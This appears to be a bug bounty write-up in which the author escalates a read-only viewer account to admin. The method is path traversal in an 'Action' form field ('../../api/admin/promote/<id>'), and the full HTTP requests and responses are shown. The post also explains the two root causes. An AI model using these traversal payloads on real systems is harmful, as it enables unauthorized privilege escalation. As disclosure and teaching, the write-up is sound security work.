July 30, 2026
../../ to Admin for a $,$$$ Bounty
The target had two roles.
By Adhamkhairy
4 min read
Admin: settings, user management, billing, promotion. Basically the whole application. Around 150 endpoints.
Viewer: read a few resources and go home. 10 endpoints. Guess which one my account was.
140 endpoints I wasn't allowed to touch. That gap is not a limitation, that's a to-do list.
The boring part nobody posts about
So here's what I actually did, and I want to be honest because most writeups skip this bit and jump straight to the clever payload.
I created an admin account on the second tenant, clicked through every single feature, and logged every request Burp saw. Then I took my viewer session cookie, dropped it into all 150 of those requests, and replayed them one by one.
That's it. No custom tooling, no 12-stage recon pipeline. Just a viewer cookie and a lot of right-clicking.
149 of them came back with the same thing:
HTTP/1.1 403 Forbidden
.........
.........
.........
.........
{"error":"Insufficient permissions"}HTTP/1.1 403 Forbidden
.........
.........
.........
.........
{"error":"Insufficient permissions"}Over and over and over. At some point you stop reading the responses and start pattern-matching on the color of the status code column. Which is exactly when you miss things, so I made myself slow down and actually look at each one.
Good thing I did, because number 137 was green.
Step 0: the one that answered
POST /api/admin/action HTTP/1.1
Host: app.example.com
Cookie: session=<viewer_session>
Content-Type: application/x-www-form-urlencoded
Action=ViewSettings
HTTP/1.1 200 OK
.......
.......
.......
{"success":true,"settings":{...}}POST /api/admin/action HTTP/1.1
Host: app.example.com
Cookie: session=<viewer_session>
Content-Type: application/x-www-form-urlencoded
Action=ViewSettings
HTTP/1.1 200 OK
.......
.......
.......
{"success":true,"settings":{...}}A viewer just read the repository settings.
That's already a report. Broken access control, admin functionality reachable by a read-only role, write it up and get a $500 medium bug and move on.
But something about it bothered me.
Look at the request again. There's no resource id, no object reference, no query. The entire request is a VERB in a string. Action=ViewSettings. The server takes a name and… does the thing named that?
If that were a normal switch statement or an allow-list, fine, whatever. But it didn't smell like a switch. It smelled like the value was being concatenated into something.
And things that get concatenated into paths can be walked.
Step 1: the dumbest possible test
Before doing anything clever I wanted to know which of the two it was: allow-list or path resolution.
So I sent the most useless payload I could think of.
POST /api/admin/action HTTP/1.1
Cookie: session=<viewer_session>
.......
.......
.......
Action=./ViewSettings
HTTP/1.1 200 OK
.......
.......
.......
{"success":true,"settings":{...}}POST /api/admin/action HTTP/1.1
Cookie: session=<viewer_session>
.......
.......
.......
Action=./ViewSettings
HTTP/1.1 200 OK
.......
.......
.......
{"success":true,"settings":{...}}Still 200.
And this is the whole finding right here, in one character.
./ViewSettings is not a valid action name. If the backend were comparing my input against a list of allowed strings, this is an instant reject, it's simply not in the list. There is no world where an allow-list accepts it.
But ./ means "same directory, go nowhere." It's a no-op. To a path resolver, ./ViewSettings and ViewSettings are the same place.
The server treated them as the same place.
So it's a path. It was never an action name, it was a path segment being glued onto some internal URL and resolved before the internal call went out.
Step 2: walking up
Now I'm not guessing action names anymore. I'm navigating.
If ./ resolves, ../ resolves. One level up, then back down into wherever admin lives:
POST /api/admin/action HTTP/1.1
Cookie: session=<viewer_session>
..........
..........
..........
Action=../admin/viewsettings
HTTP/1.1 200 OKPOST /api/admin/action HTTP/1.1
Cookie: session=<viewer_session>
..........
..........
..........
Action=../admin/viewsettings
HTTP/1.1 200 OKWhatever the internal base was, it collapsed to something like:
/internal/action/../admin/viewsettings
↓
/internal/admin/viewsettings/internal/action/../admin/viewsettings
↓
/internal/admin/viewsettingsTwo hundred again.
At this point I stopped caring about settings entirely. Settings were never the prize. The prize is that I'm now issuing requests to the internal API as the internal API, from a viewer session, and whatever service is on the other end has no idea a viewer is driving.
Step 3: the one I was building toward
Remember the admin routes I mapped in the boring phase? One of them was a promotion endpoint. Takes a user id in the path, flips that user to admin.
Two levels up to land on the API root, then straight into it:
POST /api/admin/action HTTP/1.1
Host: app.example.com
Cookie: session=<viewer_session>
Content-Type: application/x-www-form-urlencoded
..........
..........
..........
Action=../../api/admin/promote/<my_user_id>
HTTP/1.1 200 OK
..........
..........
..........
{"message":"User promoted to admin successfully"}POST /api/admin/action HTTP/1.1
Host: app.example.com
Cookie: session=<viewer_session>
Content-Type: application/x-www-form-urlencoded
..........
..........
..........
Action=../../api/admin/promote/<my_user_id>
HTTP/1.1 200 OK
..........
..........
..........
{"message":"User promoted to admin successfully"}Refreshed the dashboard.
Adminnnnn. $X,000.
Small side note that made me laugh, I pulled almost exactly this trick a few months earlier on a challenge from FahemSec, traversing a bot's
userIdparameter into/api/admin/promote/. Shoutout to them, genuinely, their challenges aren't puzzle-box nonsense, they're built out of the stuff real applications actually get wrong. I remember thinking at the time that nobody would ever ship that. Then somebody shipped that.
Why it actually worked
Two separate mistakes, and you need both of them.
The Action value was dropped into a path with zero cleaning. No canonicalization, no stripping of ../, no allow-list check against known action names. The developer clearly assumed the value would only ever be one of the strings their own frontend sends.
Internal calls were trusted by default. The public gateway enforced roles properly, that's why 149 endpoints gave me 403. But service-to-service calls behind it skipped that check entirely, because obviously an internal caller is already authorized. So the moment I could aim an internal request, I arrived pre-authenticated as nobody in particular, which the backend read as "trusted."
Either one alone is survivable. Traversal into a service that still checks roles gets you nothing. A trusted internal mesh with no user-controlled routing into it gets you nothing. Put them together and a read-only account writes itself an admin role.
What I'd tell you to take from this
The clever part of this bug was one character long. .
The part that actually found it was replaying 150 requests with the wrong cookie and not zoning out on request 118.
And when that first endpoint answered, the report was already there, a viewer reading admin settings is valid on its own. The $X,000 came from asking one extra question about why it answered instead of screenshotting the 200 and hitting submit. Same instinct as my first bounty, where a "Medium" turned into a real payout only after I went back and pushed on the endpoint again.
Don't stop at the first 200. The 200 is the door, not the room.
👉 Don't forget to follow me on LinkedIn for more writeups and cybersecurity content!
👉 If you enjoyed this writeup, leave a like and follow me for more hacking content!